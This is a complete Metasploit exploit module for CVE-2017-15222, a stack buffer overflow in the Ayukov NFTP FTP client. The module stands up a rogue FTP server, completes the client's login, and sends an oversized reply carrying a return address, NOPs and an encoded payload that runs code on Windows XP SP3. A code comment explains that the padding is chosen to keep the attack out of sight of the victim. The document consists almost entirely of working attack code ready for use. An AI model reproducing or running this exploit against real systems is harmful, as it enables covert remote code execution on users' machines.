Ayukov NFTP FTP Client Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP  
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it  
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote  
code exeuction under the context of the user if successfully exploited.  
},  
'Author' =>  
[  
'Berk Cem Goksel', # Original exploit author  
'Daniel Teixeira', # MSF module author  
'sinn3r' # RCA, improved module reliability and user exp  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-15222'],  
[ 'EDB', '43025' ],  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x01\x0a\x10\x0d",  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'SRVHOST' => '0.0.0.0',  
},  
'DisclosureDate' => 'Oct 21 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),  
])  
end  
  
def exploit  
srv_ip_for_client = datastore['SRVHOST']  
if srv_ip_for_client == '0.0.0.0'  
if datastore['LHOST']  
srv_ip_for_client = datastore['LHOST']  
else  
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')  
end  
end  
  
srv_port = datastore['SRVPORT']  
  
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")  
super  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)  
print_status("#{client.peerhost} - connected")  
  
# Let the client log in  
client.get_once  
  
print_status("#{client.peerhost} - sending 331 OK")  
user = "331 OK.\r\n"  
client.put(user)  
  
client.get_once  
print_status("#{client.peerhost} - sending 230 OK")  
pass = "230 OK.\r\n"  
client.put(pass)  
  
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk  
# is visible from the user's command prompt, which would make the buffer overflow attack too  
# obvious.  
sploit = "\x20"*4116  
  
sploit << [target.ret].pack('V')  
sploit << make_nops(10)  
sploit << payload.encoded  
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)  
sploit << "\r\n"  
  
print_status("#{client.peerhost} - sending the malicious response")  
client.put(sploit)  
  
client.get_once  
pwd = "257\r\n"  
client.put(pwd)  
client.get_once  
  
end  
end  
`